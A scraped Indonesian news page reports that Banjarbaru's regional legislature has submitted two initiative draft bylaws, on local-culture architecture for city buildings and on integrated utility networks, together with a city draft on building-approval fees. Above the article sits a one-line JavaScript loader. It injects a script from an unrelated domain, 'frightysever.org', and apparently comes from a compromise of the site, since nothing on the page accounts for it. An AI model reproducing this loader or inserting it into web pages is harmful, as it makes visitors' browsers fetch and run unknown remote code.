(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Ini Dua Raperda Inisiatif yang Diajukan DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mengajukan dua buah Rancangan Peraturan Daerah (Raperda) inisiatif.

Ketua DPRD Banjarbaru Fadliansyah, dua Raperda dan satu Raperda yang berasal dari Pemko Banjarbaru sudah disampaikan secara bersama-sama pada rapat paripurna, Selasa (31/8/2021).

“Dua Raperda inisiatif dari DPRD dan satu Raperda dari Pemkot Banjarbaru diajukan bersama-sama pada rapat paripurna itu untuk diproses lebih lanjut,” ujarnya.

Dua Raperda inisiatif DPRD yakni Raperda tentang prototipe arsitektur budaya lokal pada bangunan gedung milik Pemko Banjarbaru dan Raperda tentang jaringan utilitas terpadu.

 

 

Sedangkan Raperda dari Pemko Banjarbaru adalah Raperda tentang retribusi persetujuan bangunan gedung yang akan menjadi payung hukum menarik retribusi atas salah satu pajak daerah itu.

Raperda tentang prototipe arsitektur budaya lokal bangunan gedung milik Pemkot Banjarbaru adalah salah satu upaya menumbuh kembangkan pemajuan budaya lokal sebagai bagian dari budaya nasional.

“Penerapan Perda nantinya bertujuan menjaga eksistensi arsitektur budaya lokal agar tidak tergerus kemajuan jaman dan pembangunan sehingga bisa menjadi landasan hukum sesuai kewenangan Pemko menanganinya,” ucap Fadliansyah.

Sementara itu, Raperda penyelenggaraan jaringan utilitas terpadu disampaikan DPRD karena Pemko Banjarbaru belum memiliki dasar hukum dalam mengatur penyelenggaraan jaringan utilitas terpadu di kota Idaman.

“Hal itu lah yang menyebabkan belum optimalnya penyelenggaraan jaringan utilitas terpadu di Banjarbaru sehingga untuk menciptakan keindahan dan kerapian tata kota diperlukan Perda yang menjadi payung hukum,” katanya.

“Kami berharap, tiga Raperda yang diajukan bersamaan itu sudah bisa ditetapkan menjadi Perda dalam satu dua bulan ke depan sehingga harus dimaksimalkan pembahasan sesuai prosesnya,” kata Fadliansyah. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Al Ghifari

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

6 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

8 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

9 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

13 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

15 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

18 jam ago

This website uses cookies.